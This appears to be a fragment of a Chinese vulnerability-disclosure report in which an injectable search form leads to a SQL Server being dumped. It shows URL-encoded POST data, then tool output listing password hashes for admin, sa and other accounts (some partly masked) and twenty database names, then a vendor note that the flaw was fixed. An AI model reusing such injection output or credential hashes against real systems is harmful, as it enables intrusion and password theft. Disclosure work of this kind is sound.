CALEhISFCwKln%2FPuCgLXn6C%2FCAKy%2Fui0AwL29I3hBAKtrpq3CwKZoI7WDQKIjeOsBgLU4vHDAgK1maGbBALV7vWfDwKQhN7uB4RzJZ%2FabknILKzlkmB3qA9pheJ80Nv4AuIql%2BKD%2BHbb&__ASYNCPOST=true&btnSearch=%E6%90%9C%E7%B4%A2
database management system users password hashes:[*] ##MS_PolicyEventProcessingLogin## [1]: password hash: 0x0100c1939c2fc85b*******4e3ef65249d96027ea2407a5a header: 0x0100 salt: c1939c2f mixedcase: c85b857c74f3f834e3******96027ea2407a5a[*] ##MS_PolicyTsqlExecutionLogin## [1]: password hash: 0x010000b0718c4339aa59e3ca38f72de2eaf38dca88a57168a27a header: 0x0100 salt: 00b0718c mixedcase: 4339aa59e3ca38f72de2eaf38dca88a57168a27a[*] admin [1]: password hash: 0x010027bea6b7b5be9******b2d5bb671e80f47164364e561 header: 0x0100 salt: 27bea6b7 mixedcase: b5be9bd85ffd9abb******80f47164364e561[*] macro [1]: password hash: 0x0100132fbf05748d25******5fc2027e8fab85695210eda856 header: 0x0100 salt: 132fbf05 mixedcase: 748d253944dbd45fc2******85695210eda856[*] OPEC [1]: password hash: 0x01003da2cb2d309******e83b853dc18c0498c85dd1792c02b header: 0x0100 salt: 3da2cb2d mixedcase: 309185312f4e83b******498c85dd1792c02b[*] sa [1]: password hash: 0x01009c4ee991996******dea6d05454cace638a8709043eb header: 0x0100 salt: 9c4ee991 mixedcase: 99647bf55c710dea******ce638a8709043eb
available databases [20]:[*] DB_MessageCenter[*] Doc**ench[*] ES**[*] Informatio**rtal[*] KM2S**[*] LogSe**rDB[*] master[*] model[*] msdb[*] OPE**EC[*] OPE**SO[*] Open**atform[*] ReportServer[*] ReportServerTempDB[*] SND**ROCESS[*] SND**ROCESS_DATA[*] SN**eeting[*] tempdb[*] W**[*] X**arch
各种系统,该下的就下吧。
危害等级:高
漏洞Rank:15
确认时间:2013-11-05 22:38
感谢提交漏洞
2013-11-12:漏洞已经修复,非常感谢白帽子的支持和鞭笞;我们对支持和帮助我们的白帽子准备了一些小礼物;请关注我们的微博http://weibo.com/VSRC;